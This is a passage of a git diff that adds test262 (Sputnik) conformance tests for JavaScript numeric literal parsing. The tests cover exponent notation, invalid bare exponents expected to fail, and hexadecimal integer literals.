+if (6.6E0 !== 6.6) {
+ $ERROR('#6: 6.E0 === 6.6');
+}
+
+//CHECK#7
+if (7.7E0 !== 7.7) {
+ $ERROR('#7: 7.7E0 === 7.7');
+}
+
+//CHECK#8
+if (8.8E0 !== 8.8) {
+ $ERROR('#8: 8.8E0 === 8.8');
+}
+
+//CHECK#9
+if (9.9E0 !== 9.9) {
+ $ERROR('#9: 9.9E0 === 9.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T1.js
new file mode 100644
index 000000000..eaed76725
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T1.js
+ * @description ExponentPart :: e DecimalDigits
+ * @negative
+ */
+
+//CHECK#1
+e1
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T2.js
new file mode 100644
index 000000000..306ed8ba2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T2.js
+ * @description ExponentPart :: E DecimalDigits
+ * @negative
+ */
+
+//CHECK#1
+E1
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T3.js
new file mode 100644
index 000000000..b7c5e5a9f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T3.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T3.js
+ * @description ExponentPart :: e DecimalDigits
+ * @negative
+ */
+
+//CHECK#1
+e-1
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T4.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T4.js
new file mode 100644
index 000000000..fb21413d4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T4.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T4.js
+ * @description ExponentPart :: E DecimalDigits
+ * @negative
+ */
+
+//CHECK#1
+E-1
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T5.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T5.js
new file mode 100644
index 000000000..89719f0f7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T5.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T5.js
+ * @description ExponentPart :: e DecimalDigits
+ * @negative
+ */
+
+//CHECK#1
+e+1
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T6.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T6.js
new file mode 100644
index 000000000..533e23bc4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T6.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T6.js
+ * @description ExponentPart :: E DecimalDigits
+ * @negative
+ */
+
+//CHECK#1
+E+1
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T7.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T7.js
new file mode 100644
index 000000000..d6475e50f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T7.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T7.js
+ * @description ExponentPart :: e 0
+ * @negative
+ */
+
+//CHECK#1
+e0
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T8.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T8.js
new file mode 100644
index 000000000..89e284f4f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T8.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: ExponentPart is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.1_T8.js
+ * @description ExponentPart :: E 0
+ * @negative
+ */
+
+//CHECK#1
+E0
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T1.js
new file mode 100644
index 000000000..a925aaed9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T1.js
+ * @description ExponentIndicator :: e
+ */
+
+//CHECK#0
+if (0e01 !== 0) {
+ $ERROR('#0: 0e01 === 0');
+}
+
+//CHECK#1
+if (1e01 !== 10) {
+ $ERROR('#1: 1e01 === 10');
+}
+
+//CHECK#2
+if (2e01 !== 20) {
+ $ERROR('#2: 2e01 === 20');
+}
+
+//CHECK#3
+if (3e01 !== 30) {
+ $ERROR('#3: 3e01 === 30');
+}
+
+//CHECK#4
+if (4e01 !== 40) {
+ $ERROR('#4: 4e01 === 40');
+}
+
+//CHECK#5
+if (5e01 !== 50) {
+ $ERROR('#5: 5e01 === 50');
+}
+
+//CHECK#6
+if (6e01 !== 60) {
+ $ERROR('#6: 6e01 === 60');
+}
+
+//CHECK#7
+if (7e01 !== 70) {
+ $ERROR('#7: 7e01 === 70');
+}
+
+//CHECK#8
+if (8e01 !== 80) {
+ $ERROR('#8: 8e01 === 80');
+}
+
+//CHECK#9
+if (9e01 !== 90) {
+ $ERROR('#9: 9e01 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T2.js
new file mode 100644
index 000000000..bfc6f4eee
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T2.js
+ * @description ExponentIndicator :: E
+ */
+
+//CHECK#0
+if (0E01 !== 0) {
+ $ERROR('#0: 0E01 === 0');
+}
+
+//CHECK#1
+if (1E01 !== 10) {
+ $ERROR('#1: 1E01 === 10');
+}
+
+//CHECK#2
+if (2E01 !== 20) {
+ $ERROR('#2: 2E01 === 20');
+}
+
+//CHECK#3
+if (3E01 !== 30) {
+ $ERROR('#3: 3E01 === 30');
+}
+
+//CHECK#4
+if (4E01 !== 40) {
+ $ERROR('#4: 4E01 === 40');
+}
+
+//CHECK#5
+if (5E01 !== 50) {
+ $ERROR('#5: 5E01 === 50');
+}
+
+//CHECK#6
+if (6E01 !== 60) {
+ $ERROR('#6: 6E01 === 60');
+}
+
+//CHECK#7
+if (7E01 !== 70) {
+ $ERROR('#7: 7E01 === 70');
+}
+
+//CHECK#8
+if (8E01 !== 80) {
+ $ERROR('#8: 8E01 === 80');
+}
+
+//CHECK#9
+if (9E01 !== 90) {
+ $ERROR('#9: 9E01 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T3.js
new file mode 100644
index 000000000..15f7bf7bd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T3.js
+ * @description ExponentIndicator :: e
+ */
+
+//CHECK#0
+if (0e-01 !== 0) {
+ $ERROR('#0: 0e-01 === 0');
+}
+
+//CHECK#1
+if (1e-01 !== 0.1) {
+ $ERROR('#1: 1e-01 === 0.1');
+}
+
+//CHECK#2
+if (2e-01 !== 0.2) {
+ $ERROR('#2: 2e-01 === 0.2');
+}
+
+//CHECK#3
+if (3e-01 !== 0.3) {
+ $ERROR('#3: 3e-01 === 0.3');
+}
+
+//CHECK#4
+if (4e-01 !== 0.4) {
+ $ERROR('#4: 4e-01 === 0.4');
+}
+
+//CHECK#5
+if (5e-01 !== 0.5) {
+ $ERROR('#5: 5e-01 === 0.5');
+}
+
+//CHECK#6
+if (6e-01 !== 0.6) {
+ $ERROR('#6: 6e-01 === 0.6');
+}
+
+//CHECK#7
+if (7e-01 !== 0.7) {
+ $ERROR('#7: 7e-01 === 0.7');
+}
+
+//CHECK#8
+if (8e-01 !== 0.8) {
+ $ERROR('#8: 8e-01 === 0.8');
+}
+
+//CHECK#9
+if (9e-01 !== 0.9) {
+ $ERROR('#9: 9e-01 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T4.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T4.js
new file mode 100644
index 000000000..2682b8f0e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T4.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T4.js
+ * @description ExponentIndicator :: E
+ */
+
+//CHECK#0
+if (0E-01 !== 0) {
+ $ERROR('#0: 0E-01 === 0');
+}
+
+//CHECK#1
+if (1E-01 !== 0.1) {
+ $ERROR('#1: 1E-01 === 0.1');
+}
+
+//CHECK#2
+if (2E-01 !== 0.2) {
+ $ERROR('#2: 2E-01 === 0.2');
+}
+
+//CHECK#3
+if (3E-01 !== 0.3) {
+ $ERROR('#3: 3E-01 === 0.3');
+}
+
+//CHECK#4
+if (4E-01 !== 0.4) {
+ $ERROR('#4: 4E-01 === 0.4');
+}
+
+//CHECK#5
+if (5E-01 !== 0.5) {
+ $ERROR('#5: 5E-01 === 0.5');
+}
+
+//CHECK#6
+if (6E-01 !== 0.6) {
+ $ERROR('#6: 6E-01 === 0.6');
+}
+
+//CHECK#7
+if (7E-01 !== 0.7) {
+ $ERROR('#7: 7E-01 === 0.7');
+}
+
+//CHECK#8
+if (8E-01 !== 0.8) {
+ $ERROR('#8: 8E-01 === 0.8');
+}
+
+//CHECK#9
+if (9E-01 !== 0.9) {
+ $ERROR('#9: 9E-01 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T5.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T5.js
new file mode 100644
index 000000000..386daa930
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T5.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T5.js
+ * @description ExponentIndicator :: e
+ */
+
+//CHECK#0
+if (0e+01 !== 0) {
+ $ERROR('#0: 0e+01 === 0');
+}
+
+//CHECK#1
+if (1e+01 !== 10) {
+ $ERROR('#1: 1e+01 === 10');
+}
+
+//CHECK#2
+if (2e+01 !== 20) {
+ $ERROR('#2: 2e+01 === 20');
+}
+
+//CHECK#3
+if (3e+01 !== 30) {
+ $ERROR('#3: 3e+01 === 30');
+}
+
+//CHECK#4
+if (4e+01 !== 40) {
+ $ERROR('#4: 4e+01 === 40');
+}
+
+//CHECK#5
+if (5e+01 !== 50) {
+ $ERROR('#5: 5e+01 === 50');
+}
+
+//CHECK#6
+if (6e+01 !== 60) {
+ $ERROR('#6: 6e+01 === 60');
+}
+
+//CHECK#7
+if (7e+01 !== 70) {
+ $ERROR('#7: 7e+01 === 70');
+}
+
+//CHECK#8
+if (8e+01 !== 80) {
+ $ERROR('#8: 8e+01 === 80');
+}
+
+//CHECK#9
+if (9e+01 !== 90) {
+ $ERROR('#9: 9e+01 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T6.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T6.js
new file mode 100644
index 000000000..df360f5ea
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T6.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T6.js
+ * @description ExponentIndicator :: E
+ */
+
+//CHECK#0
+if (0E+01 !== 0) {
+ $ERROR('#0: 0E+01 === 0');
+}
+
+//CHECK#1
+if (1E+01 !== 10) {
+ $ERROR('#1: 1E+01 === 10');
+}
+
+//CHECK#2
+if (2E+01 !== 20) {
+ $ERROR('#2: 2E+01 === 20');
+}
+
+//CHECK#3
+if (3E+01 !== 30) {
+ $ERROR('#3: 3E+01 === 30');
+}
+
+//CHECK#4
+if (4E+01 !== 40) {
+ $ERROR('#4: 4E+01 === 40');
+}
+
+//CHECK#5
+if (5E+01 !== 50) {
+ $ERROR('#5: 5E+01 === 50');
+}
+
+//CHECK#6
+if (6E+01 !== 60) {
+ $ERROR('#6: 6E+01 === 60');
+}
+
+//CHECK#7
+if (7E+01 !== 70) {
+ $ERROR('#7: 7E+01 === 70');
+}
+
+//CHECK#8
+if (8E+01 !== 80) {
+ $ERROR('#8: 8E+01 === 80');
+}
+
+//CHECK#9
+if (9E+01 !== 90) {
+ $ERROR('#9: 9E+01 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T7.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T7.js
new file mode 100644
index 000000000..9fbd8a679
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T7.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T7.js
+ * @description ExponentIndicator :: e
+ */
+
+//CHECK#0
+if (0e00 !== 0) {
+ $ERROR('#0: 0e00 === 0');
+}
+
+//CHECK#1
+if (1e00 !== 1) {
+ $ERROR('#1: 1e00 === 1');
+}
+
+//CHECK#2
+if (2e00 !== 2) {
+ $ERROR('#2: 2e00 === 2');
+}
+
+//CHECK#3
+if (3e00 !== 3) {
+ $ERROR('#3: 3e00 === 3');
+}
+
+//CHECK#4
+if (4e00 !== 4) {
+ $ERROR('#4: 4e00 === 4');
+}
+
+//CHECK#5
+if (5e00 !== 5) {
+ $ERROR('#5: 5e00 === 5');
+}
+
+//CHECK#6
+if (6e00 !== 6) {
+ $ERROR('#6: 6e00 === 6');
+}
+
+//CHECK#7
+if (7e00 !== 7) {
+ $ERROR('#7: 7e00 === 7');
+}
+
+//CHECK#8
+if (8e00 !== 8) {
+ $ERROR('#8: 8e00 === 8');
+}
+
+//CHECK#9
+if (9e00 !== 9) {
+ $ERROR('#9: 9e00 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T8.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T8.js
new file mode 100644
index 000000000..2c62351fa
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A4.2_T8.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ExponentPart :: ExponentIndicator ( /+/-) 0 DecimalDigits is allowed
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A4.2_T8.js
+ * @description ExponentIndicator :: E
+ */
+
+//CHECK#0
+if (0E00 !== 0) {
+ $ERROR('#0: 0E00 === 0');
+}
+
+//CHECK#1
+if (1E00 !== 1) {
+ $ERROR('#1: 1E00 === 1');
+}
+
+//CHECK#2
+if (2E00 !== 2) {
+ $ERROR('#2: 2E00 === 2');
+}
+
+//CHECK#3
+if (3E00 !== 3) {
+ $ERROR('#3: 3E00 === 3');
+}
+
+//CHECK#4
+if (4E00 !== 4) {
+ $ERROR('#4: 4E00 === 4');
+}
+
+//CHECK#5
+if (5E00 !== 5) {
+ $ERROR('#5: 5E00 === 5');
+}
+
+//CHECK#6
+if (6E00 !== 6) {
+ $ERROR('#6: 6E00 === 6');
+}
+
+//CHECK#7
+if (7E00 !== 7) {
+ $ERROR('#7: 7E00 === 7');
+}
+
+//CHECK#8
+if (8E00 !== 8) {
+ $ERROR('#8: 8E00 === 8');
+}
+
+//CHECK#9
+if (9E00 !== 9) {
+ $ERROR('#9: 9E00 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T1.js
new file mode 100644
index 000000000..2e6b786b4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T1.js
@@ -0,0 +1,90 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T1.js
+ * @description HexIntegerLiteral :: 0x Digit
+ */
+
+//CHECK#0
+if (0x0 !== 0) {
+ $ERROR('#0: 0x0 === 0');
+}
+
+//CHECK#1
+if (0x1 !== 1) {
+ $ERROR('#1: 0x1 === 1');
+}
+
+//CHECK#2
+if (0x2 !== 2) {
+ $ERROR('#2: 0x2 === 2');
+}
+
+//CHECK#3
+if (0x3 !== 3) {
+ $ERROR('#3: 0x3 === 3');
+}
+
+//CHECK#4
+if (0x4 !== 4) {
+ $ERROR('#4: 0x4 === 4');
+}
+
+//CHECK#5
+if (0x5 !== 5) {
+ $ERROR('#5: 0x5 === 5');
+}
+
+//CHECK#6
+if (0x6 !== 6) {
+ $ERROR('#6: 0x6 === 6');
+}
+
+//CHECK#7
+if (0x7 !== 7) {
+ $ERROR('#7: 0x7 === 7');
+}
+
+//CHECK#8
+if (0x8 !== 8) {
+ $ERROR('#8: 0x8 === 8');
+}
+
+//CHECK#9
+if (0x9 !== 9) {
+ $ERROR('#9: 0x9 === 9');
+}
+
+//CHECK#A
+if (0xA !== 10) {
+ $ERROR('#A: 0xA === 10');
+}
+
+//CHECK#B
+if (0xB !== 11) {
+ $ERROR('#B: 0xB === 11');
+}
+
+//CHECK#C
+if (0xC !== 12) {
+ $ERROR('#C: 0xC === 12');
+}
+
+//CHECK#D
+if (0xD !== 13) {
+ $ERROR('#D: 0xD === 13');
+}
+
+//CHECK#E
+if (0xE !== 14) {
+ $ERROR('#E: 0xE === 14');
+}
+
+//CHECK#F
+if (0xF !== 15) {
+ $ERROR('#F: 0xF === 15');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T2.js
new file mode 100644
index 000000000..ca55655e2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T2.js
@@ -0,0 +1,90 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T2.js
+ * @description HexIntegerLiteral :: 0X Digit
+ */
+
+//CHECK#0
+if (0X0 !== 0) {
+ $ERROR('#0: 0X0 === 0');
+}
+
+//CHECK#1
+if (0X1 !== 1) {
+ $ERROR('#1: 0X1 === 1');
+}
+
+//CHECK#2
+if (0X2 !== 2) {
+ $ERROR('#2: 0X2 === 2');
+}
+
+//CHECK#3
+if (0X3 !== 3) {
+ $ERROR('#3: 0X3 === 3');
+}
+
+//CHECK#4
+if (0X4 !== 4) {
+ $ERROR('#4: 0X4 === 4');
+}
+
+//CHECK#5
+if (0X5 !== 5) {
+ $ERROR('#5: 0X5 === 5');
+}
+
+//CHECK#6
+if (0X6 !== 6) {
+ $ERROR('#6: 0X6 === 6');
+}
+
+//CHECK#7
+if (0X7 !== 7) {
+ $ERROR('#7: 0X7 === 7');
+}
+
+//CHECK#8
+if (0X8 !== 8) {
+ $ERROR('#8: 0X8 === 8');
+}
+
+//CHECK#9
+if (0X9 !== 9) {
+ $ERROR('#9: 0X9 === 9');
+}
+
+//CHECK#A
+if (0XA !== 10) {
+ $ERROR('#A: 0XA === 10');
+}
+
+//CHECK#B
+if (0XB !== 11) {
+ $ERROR('#B: 0XB === 11');
+}
+
+//CHECK#C
+if (0XC !== 12) {
+ $ERROR('#C: 0XC === 12');
+}
+
+//CHECK#D
+if (0XD !== 13) {
+ $ERROR('#D: 0XD === 13');
+}
+
+//CHECK#E
+if (0XE !== 14) {
+ $ERROR('#E: 0XE === 14');
+}
+
+//CHECK#F
+if (0XF !== 15) {
+ $ERROR('#F: 0XF === 15');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T3.js
new file mode 100644
index 000000000..089a84112
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T3.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T3.js
+ * @description HexIntegerLiteral :: 0x NonZeroDigit Digits
+ */
+
+//CHECK#0
+if (0x0 !== 0) {
+ $ERROR('#0: 0x0 === 0');
+}
+
+//CHECK#1
+if (0x1 !== 1) {
+ $ERROR('#1: 0x1 === 1');
+}
+
+//CHECK#2
+if (0x10 !== 16) {
+ $ERROR('#2: 0x10 === 16');
+}
+
+//CHECK3
+if (0x100 !== 256) {
+ $ERROR('3: 0x100 === 256');
+}
+
+//CHECK#4
+if (0x1000 !== 4096) {
+ $ERROR('#4: 0x1000 === 4096');
+}
+
+//CHECK#5
+if (0x10000 !== 65536) {
+ $ERROR('#5: 0x10000 === 65536');
+}
+
+//CHECK#6
+if (0x100000 !== 1048576) {
+ $ERROR('#6: 0x100000 === 1048576');
+}
+
+//CHECK#7
+if (0x1000000 !== 16777216) {
+ $ERROR('#7: 0x1000000 === 16777216');
+}
+
+//CHECK#8
+if (0x10000000 !== 268435456) {
+ $ERROR('#8: 0x10000000 === 268435456');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T4.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T4.js
new file mode 100644
index 000000000..5ddc484a8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T4.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T4.js
+ * @description HexIntegerLiteral :: 0X NonZeroDigit Digits
+ */
+
+//CHECK#0
+if (0X0 !== 0) {
+ $ERROR('#0: 0X0 === 0');
+}
+
+//CHECK#1
+if (0X1 !== 1) {
+ $ERROR('#1: 0X1 === 1');
+}
+
+//CHECK#2
+if (0X10 !== 16) {
+ $ERROR('#2: 0X10 === 16');
+}
+
+//CHECK3
+if (0X100 !== 256) {
+ $ERROR('3: 0X100 === 256');
+}
+
+//CHECK#4
+if (0X1000 !== 4096) {
+ $ERROR('#4: 0X1000 === 4096');
+}
+
+//CHECK#5
+if (0X10000 !== 65536) {
+ $ERROR('#5: 0X10000 === 65536');
+}
+
+//CHECK#6
+if (0X100000 !== 1048576) {
+ $ERROR('#6: 0X100000 === 1048576');
+}
+
+//CHECK#7
+if (0X1000000 !== 16777216) {
+ $ERROR('#7: 0X1000000 === 16777216');
+}
+
+//CHECK#8
+if (0X10000000 !== 268435456) {
+ $ERROR('#8: 0X10000000 === 268435456');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T5.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T5.js
new file mode 100644
index 000000000..da8e61ed4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T5.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T5.js
+ * @description HexIntegerLiteral :: 0x0 Digits
+ */
+
+//CHECK#0
+if (0x00 !== 0) {
+ $ERROR('#0: 0x00 === 0');
+}
+
+//CHECK#1
+if (0x01 !== 1) {
+ $ERROR('#1: 0x01 === 1');
+}
+
+//CHECK#2
+if (0x010 !== 16) {
+ $ERROR('#2: 0x010 === 16');
+}
+
+//CHECK3
+if (0x0100 !== 256) {
+ $ERROR('3: 0x0100 === 256');
+}
+
+//CHECK#4
+if (0x01000 !== 4096) {
+ $ERROR('#4: 0x01000 === 4096');
+}
+
+//CHECK#5
+if (0x010000 !== 65536) {
+ $ERROR('#5: 0x010000 === 65536');
+}
+
+//CHECK#6
+if (0x0100000 !== 1048576) {
+ $ERROR('#6: 0x0100000 === 1048576');
+}
+
+//CHECK#7
+if (0x01000000 !== 16777216) {
+ $ERROR('#7: 0x01000000 === 16777216');
+}
+
+//CHECK#8
+if (0x010000000 !== 268435456) {
+ $ERROR('#8: 0x010000000 === 268435456');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T6.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T6.js
new file mode 100644
index 000000000..659c7dfbb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T6.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T6.js
+ * @description HexIntegerLiteral :: 0X0 Digits
+ */
+
+//CHECK#0
+if (0X00 !== 0) {
+ $ERROR('#0: 0X00 === 0');
+}
+
+//CHECK#1
+if (0X01 !== 1) {
+ $ERROR('#1: 0X01 === 1');
+}
+
+//CHECK#2
+if (0X010 !== 16) {
+ $ERROR('#2: 0X010 === 16');
+}
+
+//CHECK3
+if (0X0100 !== 256) {
+ $ERROR('3: 0X0100 === 256');
+}
+
